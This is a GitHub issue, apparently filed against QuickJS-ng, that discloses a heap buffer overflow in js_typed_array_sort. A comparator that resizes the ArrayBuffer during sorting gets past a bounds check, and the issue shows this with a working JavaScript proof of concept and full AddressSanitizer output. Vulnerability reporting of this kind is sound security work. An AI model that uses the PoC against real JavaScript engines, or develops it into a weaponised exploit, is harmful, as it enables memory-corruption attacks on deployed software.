Skip to content

Heap buffer overflow in js_typed_array_sort #1297

@Mcsky23

Description

@Mcsky23

Overview

After rqsort is called, js_typed_array_sort uses an index array(array_idx) to construct the final sorted typed array. More specificallyj = array_idx[i]; can trigger a heap buffer overflow if array_idx[i] is greater than the array buffer's size. If a user-supplied comparator function resizes the buffer, the OOB checks inside js_TA_cmp_generic can be evaded if the resize occurs after large indices have already been moved to valid positions.

PoC

const trigger = 1734; // determined via trial and error
const sz = 256;
const newSz = 10;
const ab = new ArrayBuffer(sz, { maxByteLength: sz * 10 });
const u8 = new Uint8Array(ab);

// fill with ascending values
for (let i = 0; i < sz; i++) u8[i] = i;
// Make the last element 0 so it moves to front
// We want rqsort to place index 255 at the beginning of array_idx before the resize
// in order to bypass OOB check in js_TA_cmp_generic
/* if (a_idx >= p->u.array.count || b_idx >= p->u.array.count) {
    // OOB case
    psc->exception = 2;
    return 0;
} 
*/
u8[sz - 1] = 0; 

let cnt = 0;
u8.sort((a, b) => {
    cnt++;
    
    if (cnt === trigger) {
        // when this resize happens, array_idx already has index 255 at the beginning
        // so the OOB check in js_TA_cmp_generic is bypassed
        // OOB access happens at this point in js_typed_array_sort
        /*
        case 1:
        for(i = 0; i < len; i++) {
            j = array_idx[i]; // here
            ((uint8_t *)array_ptr)[i] = ((uint8_t *)array_tmp)[j];
        }
        break;
        */
        try { ab.resize(newSz); } catch(e){}
    }
    
    return a - b;
});

ASAN output:

=================================================================
==1006240==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x50200000130f at pc 0x5e405dc7c1eb bp 0x7ffce473d660 sp 0x7ffce473d650
READ of size 1 at 0x50200000130f thread T0
    #0 0x5e405dc7c1ea in js_typed_array_sort (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x19e1ea) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #1 0x5e405dc74811 in js_call_c_function (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x196811) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #2 0x5e405db4b863 in JS_CallInternal (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x6d863) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #3 0x5e405db4cda4 in JS_CallInternal (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x6eda4) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #4 0x5e405dcd3921 in js_async_function_resume (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1f5921) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #5 0x5e405dcd8f30 in js_async_function_call.constprop.0 (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1faf30) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #6 0x5e405dcd9454 in js_execute_sync_module (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1fb454) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #7 0x5e405dcde6b5 in js_inner_module_evaluation (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x2006b5) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #8 0x5e405dce3a7d in JS_EvalFunction (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x205a7d) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #9 0x5e405db11ffc in main (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x33ffc) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #10 0x7015aa02a3b7 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #11 0x7015aa02a47a in __libc_start_main_impl ../csu/libc-start.c:360
    #12 0x5e405db127d4 in _start (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x347d4) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)

0x50200000130f is located 245 bytes after 10-byte region [0x502000001210,0x50200000121a)
allocated by thread T0 here:
    #0 0x7015aa4fd9c7 in malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:69
    #1 0x5e405db70317 in js_malloc (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x92317) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #2 0x5e405dc7b990 in js_typed_array_sort (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x19d990) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #3 0x5e405dc74811 in js_call_c_function (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x196811) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #4 0x5e405db4b863 in JS_CallInternal (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x6d863) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #5 0x5e405db4cda4 in JS_CallInternal (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x6eda4) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #6 0x5e405dcd3921 in js_async_function_resume (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1f5921) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #7 0x5e405dcd8f30 in js_async_function_call.constprop.0 (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1faf30) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #8 0x5e405dcd9454 in js_execute_sync_module (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1fb454) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #9 0x5e405dcde6b5 in js_inner_module_evaluation (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x2006b5) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #10 0x5e405dce3a7d in JS_EvalFunction (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x205a7d) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #11 0x5e405db11ffc in main (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x33ffc) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #12 0x7015aa02a3b7 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #13 0x7015aa02a47a in __libc_start_main_impl ../csu/libc-start.c:360
    #14 0x5e405db127d4 in _start (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x347d4) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)

SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x19e1ea) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56) in js_typed_array_sort
Shadow bytes around the buggy address:
  0x502000001080: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
  0x502000001100: fa fa fd fd fa fa fd fd fa fa fd fa fa fa fd fa
  0x502000001180: fa fa fd fd fa fa 00 fa fa fa 00 fa fa fa 00 02
  0x502000001200: fa fa 00 02 fa fa fa fa fa fa fa fa fa fa fa fa
  0x502000001280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x502000001300: fa[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x502000001380: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x502000001400: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x502000001480: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x502000001500: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x502000001580: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==1006240==ABORTING

Reporter credit: mcsky23 (Vlad Ionut Seba)

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions